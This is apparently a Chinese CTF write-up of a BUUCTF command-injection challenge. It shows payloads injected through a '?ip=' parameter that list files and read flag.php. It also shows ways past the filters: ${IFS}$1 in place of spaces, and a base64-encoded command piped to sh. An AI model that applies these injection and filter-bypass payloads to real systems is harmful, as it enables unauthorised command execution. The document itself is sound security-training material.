考察点
命令执行
题目
解题
简单测试
?ip应该是一个提示,那么就测试一下?ip=127.0.0.1
http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1
发现正常回显
列出文件
那么猜测一下可能会有命令执行漏洞,测试?ip=127.0.0.1;ls
http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;ls
发现有flag.php文件和index.php文件
查看flag.php文件
?ip=127.0.0.1;cat flag.php
http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat%20flag.php
发现回显不是flag值,估计是被过滤了
猜测可能是空格被过滤了,尝试用 I F S {IFS} IFS 进行代替
http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$flag.php
发现也得不到flag值,猜测可能还过滤了{},那么使用 ${IFS}$1 进行代替
http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat${IFS}$1flag.php
依旧没有得到flag值
查看index.php
http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$1index.php
这下过滤了啥就一目了然了
flag字眼过滤了,bash也没了,不过sh没过滤
先对cat flag.php进行base64编码得到:Y2F0IGZsYWcucGhw
http://0c02a46a-5ac2-45f5-99da-3d1b0b951307.node4.buuoj.cn:81/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo 是打印
$IFS$1 是空格
Y2F0IGZsYWcucGhw 是cat flag.php的base编码
| 是管道符
base64$IFS$1-d 是base64 -d的意思,就是对Y2F0IGZsYWcucGhw进行base64解密
sh 是执行传递过来的cat flag.php命令
查看返回页面的源码可以得到flag
flag{19795c98-007a-46f5-a449-5f6ae6410dd5}
总结
命令执行各种绕过总结:
https://blog.csdn.net/m0_64815693/article/details/127268809
https://blog.csdn.net/Thunderclap_/article/details/129178221
echo${IFS}Y2F0IDEudHh0|base64${IFS}-d|sh